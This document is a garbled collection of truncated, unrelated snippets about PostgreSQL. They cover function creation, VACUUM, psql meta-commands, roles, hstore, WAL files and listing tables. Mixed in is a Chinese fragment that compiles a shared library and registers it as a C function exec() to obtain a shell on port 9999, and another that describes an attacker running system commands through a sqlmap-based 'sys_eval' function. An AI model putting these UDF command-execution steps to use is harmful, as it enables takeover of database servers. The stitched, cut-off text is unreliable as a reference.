Create a Function CREATE OR REPLACE FUNCTION month (timestamp) RETURNS integer AS 'SELECT date_part(''month'', $1)::integer;' LANGUAGE 'sql'; Table Maintenance VACUUM ANALYZE table; Reindex a database, table or index REINDEX DATABASE dbName; Show query plan EXPLAIN SELECT * FROM table; I...
Show a stored procedure or function code: \df+ function_name Show query output in the pretty format: \x List all users: \du Create a new role: CREATE ROLE role_name; Create a new role with a username and password: CREATE ROLE username NOINHERIT LOGIN PASSWORD password; Change the role...
Functionsagedate_part(text, timestamp)centurydaydecadedowdoyepochhourmonthquartersecondweekyeardate_truncextractintervalto_charto_dateto_timestampDate PredicatesoverlapsArray ConstructsANY(array)ARRAY[[4,5,6],..]ARRAY()array_appendarray_catarray_dimsarray_lowerarray_prependarray_to_stringarray_upperSO...
利用如下命令编译 .so 文件: gcc1.c -I`pg_config --includedir-server` -fPIC -shared -o /tmp/1.so 在pgsql 里执行: CREATE OR REPLACE FUNCTION exec() RETURNS text AS'/tmp/1.so','exec'LANGUAGE C STRICT;selectexec(); 监听的 9999 端口得到一个 shell: Python 默认PostgreSQL 不会安装 Pytho...
PostgreSQL provides the hstore_to_json() function to convert hstore data to JSON. See the following statement: SELECT title, hstore_to_json (attr) json FROM books; Convert hstore data to sets To convert hstore data to sets, you use the each() function as follows: SELECT title, (EACH...
The function pg_switch_wal has been issued. archive_mode is enabled and the time set to archive_timeout has been exceeded. After they are switched out, WAL files can either be removed or recycled—i.e., renamed and reused for the future. The number of WAL files that the server would ...
” It was created with the goal of being highly extensible and standards compliant. PostgreSQL is an object-relational database, meaning that although it’s primarily a relational database it also includes features — like table inheritance and function overloading — that a...
CREATE FUNCTION check_expired(attr type) RETURNS type AS BEGIN -- logic END; LANGUAGE language_name; You can easily invoke the function in your web application using the programming language of your choice. SELECT check_expired(1) Postgresql expire row Code Example, follow. grepper; search ; ...
SELECT table_name FROM information_schema.tables WHERE table_schema='public' But this query returns views also. Is there a way to obtain solely table names without including views? Solution 1: How about this query, which is derived from the manual's description?
Now the attacker is able to execute local system commands using one simple function – fun6440002537. This SQL function is a wrapper for calling a C-language function, “sys_eval”, a small exported function in “tmp406001440” (a binary based on sqlmapproject), which basically acts as proxy...